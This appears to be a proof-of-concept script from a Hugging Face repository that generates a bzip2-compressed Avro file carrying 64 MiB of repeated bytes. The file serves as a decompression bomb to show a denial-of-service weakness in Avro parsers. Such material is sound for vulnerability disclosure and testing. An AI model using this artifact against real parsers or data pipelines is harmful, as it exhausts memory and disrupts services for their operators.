hf-avro-poc / generate_poc.py
pragnyanramtha's picture
Add benign Apache Avro parser-DoS PoC bundle
9736740 verified
Raw
History Blame Contribute Delete
1.92 kB
import argparse
import hashlib
import json
from pathlib import Path
import avro.io
import avro.schema
from avro.datafile import DataFileWriter
SCHEMA_JSON = {
"type": "record",
"name": "ModelShard",
"namespace": "org.example.ml",
"fields": [
{"name": "tensor_name", "type": "string"},
{"name": "tensor_bytes", "type": "bytes"},
{"name": "notes", "type": "string"},
],
}
def sha256_file(path: Path) -> str:
h = hashlib.sha256()
with path.open("rb") as handle:
for chunk in iter(lambda: handle.read(1024 * 1024), b""):
h.update(chunk)
return h.hexdigest()
ROOT = Path(__file__).resolve().parent
def main() -> None:
parser = argparse.ArgumentParser(description="Generate a benign Avro decompression-DoS PoC artifact.")
parser.add_argument("--output", default=str(ROOT / "artifacts" / "avro_bzip2_dos.avro"))
parser.add_argument("--size-mib", type=int, default=64)
parser.add_argument("--codec", default="bzip2")
args = parser.parse_args()
out_path = Path(args.output)
out_path.parent.mkdir(parents=True, exist_ok=True)
payload = b"A" * (args.size_mib * 1024 * 1024)
schema = avro.schema.parse(json.dumps(SCHEMA_JSON))
datum = {
"tensor_name": "dense.weight",
"tensor_bytes": payload,
"notes": "Benign PoC: repetitive bytes to demonstrate block decompression before first record yield.",
}
with out_path.open("wb") as handle:
writer = DataFileWriter(handle, avro.io.DatumWriter(), schema, codec=args.codec)
writer.append(datum)
writer.close()
info = {
"artifact": str(out_path),
"codec": args.codec,
"payload_bytes": len(payload),
"artifact_bytes": out_path.stat().st_size,
"sha256": sha256_file(out_path),
}
print(json.dumps(info, indent=2))
if __name__ == "__main__":
main()